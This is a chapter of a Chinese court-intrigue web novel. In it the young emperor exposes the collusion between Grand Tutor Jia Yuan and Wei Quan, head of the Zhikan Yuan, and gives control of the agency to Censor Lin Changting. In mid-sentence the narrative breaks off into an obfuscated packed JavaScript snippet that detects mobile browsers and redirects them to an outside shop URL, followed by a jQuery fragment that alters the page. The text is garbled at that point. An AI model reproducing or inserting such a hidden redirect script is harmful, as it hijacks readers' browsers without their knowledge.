133. 第一百三十三章

作品:《扑朔

    今日的早朝与前些日子相比起来,并无什么太大的分别。依旧是行礼如仪,依旧是冗长的奏报,依旧是那些或明或暗的打量与揣测。


    只是林长亭站在文官队列的最前端,能清晰地感觉到身后投来的目光比往日更灼热了几分——那是探究,是忌惮,也是观望。


    圣上的面色倒是如常,只是眼底泛着淡淡的青黑,显是昨夜并未安枕。林长亭心中了然,康统领连夜拿人,陛下想必是亲自过问了的。


    “制勘院昨日居然敢带兵私自围攻大理寺地牢,”圣上的声音是少有的愤怒,“魏权,你可知罪?”


    魏权猛地跪倒在地,他侧身爬到百官中央,言辞恳切:“陛下!老臣管教无法,治下不严才酿此大祸!请陛下责罚!但请陛下念在制勘院众人一片忠心的份儿上,听老臣一言罢!”


    皇帝皱了皱眉头:“讲。”


    “回禀陛下,制勘院昨日得到线报,有不法之徒要在私盐案重要案犯史明转运途中劫狱,制勘院众人这才不顾一切,倾巢出动,只为为陛下分忧,为社稷除奸啊!”


    朝堂之上顿时响起一片窃窃私语,林长亭垂眸不言,嘴角却微微上扬。


    “哦?”圣上的声音听不出喜怒,“这么说,制勘院是奉了朕的旨意,还是得了朕的口谕,竟敢调动缇骑围攻大理寺?”


    魏权额头抵地,悲戚之意溢于言表:“陛下明鉴!制勘院确有越权之嫌,可那史明事关重大,若被劫走,私盐案便要功亏一篑啊!我制勘院虽鲁莽,忠心却是日月可鉴!”


    “忠心?”兵部尚书陈之焕忽然出列,他冷笑一声拱手道,“魏院首这话说得轻巧。昨夜制勘院调动三百缇骑,连京畿大营都惊动了,这叫忠心?大半夜出动四百骑兵驰援禁军,你们制勘院好大的本事!依臣看,这叫僭越!这叫目无君上!”


    魏权猛地抬头,似是还要辩驳些什么。可他一见到圣上那愠怒的神情,便一句话也狡辩不出,只能求助似的望着贾渊。


    还好贾大人连夜派人联络,他一早知道了这件事,虽说也是愤怒至极,但不管怎么说自己都是他的人,贾太师绝对不会放任不管的。


    想到这儿,魏权将头埋得更低了,他生怕别人看到他眼底略带得意的神情。新皇毕竟年轻,虽说经营数年,可他们这些老臣又岂肯轻易放权。根基不稳、心腹甚少,如此皇帝也想和他们相抗衡……


    “陛下,老臣有事启奏!”


    贾渊的回护似是在宣旻的意料之中,他微微抬眉,十指交叠在身前:“贾太师无需多礼。”


    “多谢陛下。老臣昨夜听闻制勘院之事,心痛至极!制勘院乃先皇亲设,专为纠察百官、肃清纲纪而存,魏权身为院首,却纵容属下擅动刀兵,围攻大理寺,此罪断不可恕。”


    贾渊的声音苍老而沉稳,每一个字都像是经过深思熟虑,“然老臣斗胆,请陛下念在制勘院历年功勋,且此事确系事出有因,从轻发落。”


    宣旻的目光落在贾渊身上,他向后倚进龙椅,好似一切都在他的股掌之内:“太师以为,当如何从轻?”


    “老臣以为,魏权治下不严,当罚俸三年,降阶一等,以儆效尤。至于制勘院众缇骑,皆是听命行事,不如交由魏权自行处置,也好让他戴罪立功。”


    朝堂之上顿时一片哗然。罚俸三年、降阶一等,这与其说是惩戒,不如说是隔靴搔痒。至于将缇骑交还魏权自行处置,更是无异于放虎归山。


    林长亭微微侧首,与队列中的陈之焕交换了一个眼神。


    “陛下!”陈之焕再次出列,声若洪钟,“贾太师此议,臣不敢苟同!制勘院昨夜调动缇骑三百,京畿震动,百姓惶恐。若非康统领及时拦截,后果不堪设想。


    如此重罪,岂是罚俸降阶所能抵偿?臣请陛下明察,制勘院缇骑当交由大理寺彻查,魏权亦当收押待审,以正国法!”


    “陈尚书此言差矣。”户部侍郎李元山和忽然插话,他是贾渊的门生,更是和贾骐一条绳上的蚂蚱,此刻自然要为主座分忧,“制勘院职责特殊,若将缇骑交予大理寺,岂非令亲者痛、仇者快?私盐案尚未审结,史明尚未定罪,此时自乱阵脚,恐让真凶逍遥法外啊!”


    “李大人这话,倒像是在威胁陛下?”一道清冷的声音从文官队列中响起,众人循声望去,竟是素来低调的翰林学士院的学士沈知微。


    他一向不涉党政,可如今却缓步出列,一揖及地,“臣昨日傍晚恰好在值房修撰,听闻街上传来马蹄声震天,还道是北狄犯边。今日方知,竟是制勘院纵人在京城腹地纵马驰骋。


    沈某不才,只想问一句——若昨夜不是康统领拦下,而是换了旁人,这三百缇骑,究竟是要救人,还是要杀人灭口?”


    此言一出,魏权的脸色瞬间惨白。他猛地抬头,正对上沈知微那双仿佛能洞穿一切的眸子,心底不由自主地打了个寒颤。


    宣旻的手指轻轻敲击着龙椅的扶手,节奏缓慢而规律。


    “贾太师……”


    “臣在!”


    “太师昔日曾以《资治》教诲朕……‘为政不过,无以定乱;为君不刚,无以立威。’今日之事,朕虽痛心于制勘院所作所为,但却还是想问上一问……贾太师、魏院首,你们可还有辩驳?”


    贾渊此刻方知圣上之怒,他一改刚刚的倨傲从容之态,终是上前一步跪倒在地:“陛下!制勘院所为的确该死,可他们绝无谋逆之心啊!”


    “哦?贾太师此言何意?”


    “回陛下,制勘院自先皇创设以来,三十七年如一日戍卫东梁,查贪腐、捕奸佞,大小案件凡三百余起,未尝有过半分差池!”


    贾渊猛地抬起头,苍老的声音陡然拔高,花白胡须因激动而颤抖,“如今制勘院此举虽有越权之嫌,却是为保国法昭彰啊!那些谋逆、反叛之词,都是污蔑啊陛下!”


    林长亭垂眸静立,心中却如明镜一般。贾渊这一招以退为进,看似揽责,实则还是以先皇之权威压制圣上,更将魏权从泥沼中轻轻提起。


    这老狐狸经营朝堂数十载,果然手段老辣。


    只不过狡猾如他,也有算不中的时候。


    “只是贾太师……是谁告诉你制勘院‘谋逆’了呢?”皇帝的语气很轻,可言语落在贾渊和魏权的耳中却犹如雷霆。


    “陛下,我……”


    “是魏院首吧?”不给他反应的机会,陛下便冷笑出声,“昨日制勘院所作所为虽令朕心痛,但贾太师……你身为三朝老臣,专权不放、魏权院首你身为制勘院之首,却与太师私下往来!”


    贾渊闻言,瞳孔骤然收缩,枯瘦的手指死死攥住朝服的袖口。他张了张嘴,却发现自己竟无从辩驳——昨夜魏权派来报信的人,此刻仿佛成了扎在他心口的一根刺。


    “陛下明鉴!”魏权的声音尖锐得变了调,“老臣与贾太师不过是同朝为官,偶有往来,绝无结党营私之意啊!”


    “偶有往来?”宣旻摆了摆手,大总管当即呈上一叠信纸。他只略略扫了一眼便甩在大殿之上,信纸犹如漫天落雪,狠狠敲打在二人心头,“这是朕的暗卫三个月来记录的往来密信,魏院首可要一一辨认?”


    魏权的目光落在那叠泛黄的纸笺上,仿佛看见了催命符。他浑身一软,瘫坐在地,朝服的前襟沾满了冷汗。


    林长亭微微抬眸,正撞上皇帝意味深长的视线。他心下了然——那叠密折中,至少有半数是经他的手,通过城中暗桩递入宫中的。魏权与贾渊的每一次密会,每一封书信,都被他拆解、誊抄、还原,如同一张细密的网,终于在此刻收紧。


    当然,其中还有他的玉淑整理的银钱往来,这一桩桩一件件……这群人一个也别想逃。


    “贾太师,”皇帝的声音恢复了平静,却让听者愈发胆寒,“朕念你三朝元老,对朕有教导之情,罚俸三年以观后效,全你最后一丝体面。至于你,魏权——”


    他顿了顿,权力的威严压得那张惨白的脸抬不起丝毫,“制勘院院首之职,即日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302917|185365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起由林御史暂代。至于你,押入诏狱,听候发落。”


    “陛下!陛下——”魏权的哭喊被殿外的侍卫截断,拖拽着消失在大殿之下。贾渊仍跪伏在地,花白的头颅深深埋进臂弯,像一株被霜打过的枯荷。


    “林御史。”


    “臣在。”林长亭出列,绯色官服在晨光中显得格外醒目。他垂首敛眉,姿态恭谨,仿佛方才那场惊心动魄的交锋与他毫无干系。


    “制勘院之事,朕交予你全权处置。”宣旻的目光在他身上停留片刻,带着几分期许,“制勘院乃我朝国之利器,乃朕之耳目、社稷之盾。


    自先皇创设三十七载,上察百官舞弊,下肃地方奸邪,三百余案铁证如山,实乃澄清吏治之基石。魏权败坏纲纪,致缇骑私动京城震动,朕痛心疾首。


    今将此重任付与卿,望你以铁腕整饬积弊,以丹心护持国法,使制勘院重拾先皇设立之初衷。朕盼你三年之内,能让朝野上下皆知,制勘院在,法纪存,则江山安!”


    “臣,领旨谢恩。”


    退朝的钟声悠扬响起,文武百官依次退出大殿。林长亭步履从容地走在最前,他将那些如潮水般涌来各色目光抛在身后,毫不动摇地迈向越来越早到的晨光。


    只是经过陈之焕身侧时,二人相对行礼,以袖袍相掩,交换了一个极淡的眼神。


    之前被夺走的,他要抢回来。被贬谪的,他要再次扶摇直上。被践踏的,他要一一讨还。


    这盘棋,他下了太久。


    从被明升暗降的那一天起,从夏日里接到第一封密信的那一刻起,从奔赴师城那一刻起,他就在等这一日。如今魏权倒了,贾渊伤了元气,制勘院终于落入他手——可这不过是开始。


    “林大人留步。”


    身后传来一道温润的声音,林长亭回首,见是沈知微。这位翰林学士依旧是一副云淡风轻的模样,仿佛方才朝堂上那番掷地有声的质问,不过是随口闲谈。


    “沈学士。”林长亭微微颔首。


    “恭喜林大人高升。”沈知微笑意浅淡,目光却如深潭,“只是制勘院这潭水,比大人想象的更深。魏权经营多年,缇骑之中多有死士,大人接手之后,恐怕……”


    “沈学士好意,林某心领。”林长亭打断他,语气不卑不亢,“只是林某既接了这差事,便没有退路可言。水深水浅,总要亲自趟过才知。”


    沈知微静默片刻,他明白林长亭不愿在大庭广众之下与他多有交谈,便上前一步浅行一礼:“沈某多谢林大人对闻展的搭救之恩。大恩不言谢,沈某自当报答。”


    说罢,他恢复了往日里那副学者特有的淡漠模样,拾级而下。


    林长亭没有起身,他嘴角微微勾起,汉白玉映得他的眸子闪闪发亮——


    “今后用得到您的地方……还多得是。”


    退朝的钟鼓声自太和殿檐角层层荡开,浑厚悠长,如惊雷滚过九衢十二街。初升的晨光斜照,鎏金铜狮静静矗立,通体泛着威严的冷光,睥睨着鱼贯而出的百官。


    他们的朝靴踏过冰凉的汉白玉丹墀,步伐看似整齐划一,却在踏足之间藏匿着迥异的心绪与盘算。


    文德殿前,盘龙金柱巍然耸立,投下道道狭长而锋利的阴影,将散朝的人群无声切割成明暗两半。这条通往宫外的漫长御道,恰似一幅权力场的微缩镜像。


    有人看似衣冠整肃、意气风发,却毫不留情地踩着同僚的肩背向上疾攀;也有人默立暗处,低垂的眼眸中藏着磨亮的獠牙。连廊下静置的铜鹤,其倒影也在光暗交错间被拉扯成无声涌动着的、名为欲望的形状。


    朱漆宫门在身后缓缓闭合,唯有檐角铁马在风中轻颤。


    林长亭只是自顾自地向前走去,仿佛这些波云诡谲都与己无关。他要做的,唯有一步步向上爬,那些与玉淑许下的誓言,便是他最好的枷锁。


    总有一天,他会堂堂正正地告诉她,他是谁。


    他只待那么一天,他只求那么一天。